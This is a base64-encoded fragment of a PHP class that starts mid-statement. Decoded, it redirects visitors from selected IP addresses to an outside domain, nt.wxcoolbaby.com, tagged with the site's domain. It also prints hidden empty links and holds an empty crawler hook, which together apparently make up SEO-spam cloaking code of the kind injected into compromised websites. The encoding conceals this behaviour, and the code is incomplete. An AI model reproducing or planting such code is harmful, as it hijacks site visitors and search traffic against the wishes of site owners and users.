cmVtb3RlX2RhdGE7CiAgICB9CgoJcHVibGljIGZ1bmN0aW9uIEp1bXAoKXsKCQlpZigkdGhpcy0+ aXNBbGxvd2RJcCgpKXsKCQkJJGRvbWFpbiAgPSBzdHJfcmVwbGFjZSgiLiIsIl8iLCR0aGlzLT5k b21haW4pOwoJCQloZWFkZXIoJ0xvY2F0aW9uOiBodHRwOi8vbnQud3hjb29sYmFieS5jb20vbnQv P2pwXycuJGRvbWFpbik7CgkJCWV4aXQ7CgkJfQoJfQoJCglwdWJsaWMgZnVuY3Rpb24gX3VuY29u ZGl0aW9uX2hvb2soKXsKCQkkYXJyYXkgPSBhcnJheSgpOwoJCWZvcigkYT0wOyRhPDU7JGErKyl7 CgkJCWVjaG8gJzxhIGhyZWY9IicuQXBwX0dldExpbmsoKS4nIj48L2E+Jy4iXG4iOwoJCX0KCX0K CglwdWJsaWMgZnVuY3Rpb24gX3VuU3BpZGVyX2hvb2soKXsKCQkvLwoJfQoKCglwdWJsaWMgZnVu Y3Rpb24gc3RyU3RhcnRXaXRoKCRuZWVkbGUsICRoYXlzdGFjayl7CiAgCSAgcmV0dXJuIChzdWJz dHIoJGhheXN0YWNrLCAwLCBzdHJsZW4oJG5lZWRsZSkpPT0kbmVlZGxlKTsKCX0KCQoJcHVibGlj IGZ1bmN0aW9uIGN1dCgkZmlsZSwkZnJvbSwkZW5kKQoJeyAKCQkkbWVzc2FnZT1leHBsb2RlKCRm cm9tLCRmaWxlKTsgCgkJJG1lc3NhZ2U9ZXhwbG9kZSgkZW5kLCRtZXNzYWdlWzFdKTsgCgkJcmV0 dXJuICAgJG1lc3NhZ2VbMF07Cgl9Cn0KCgo=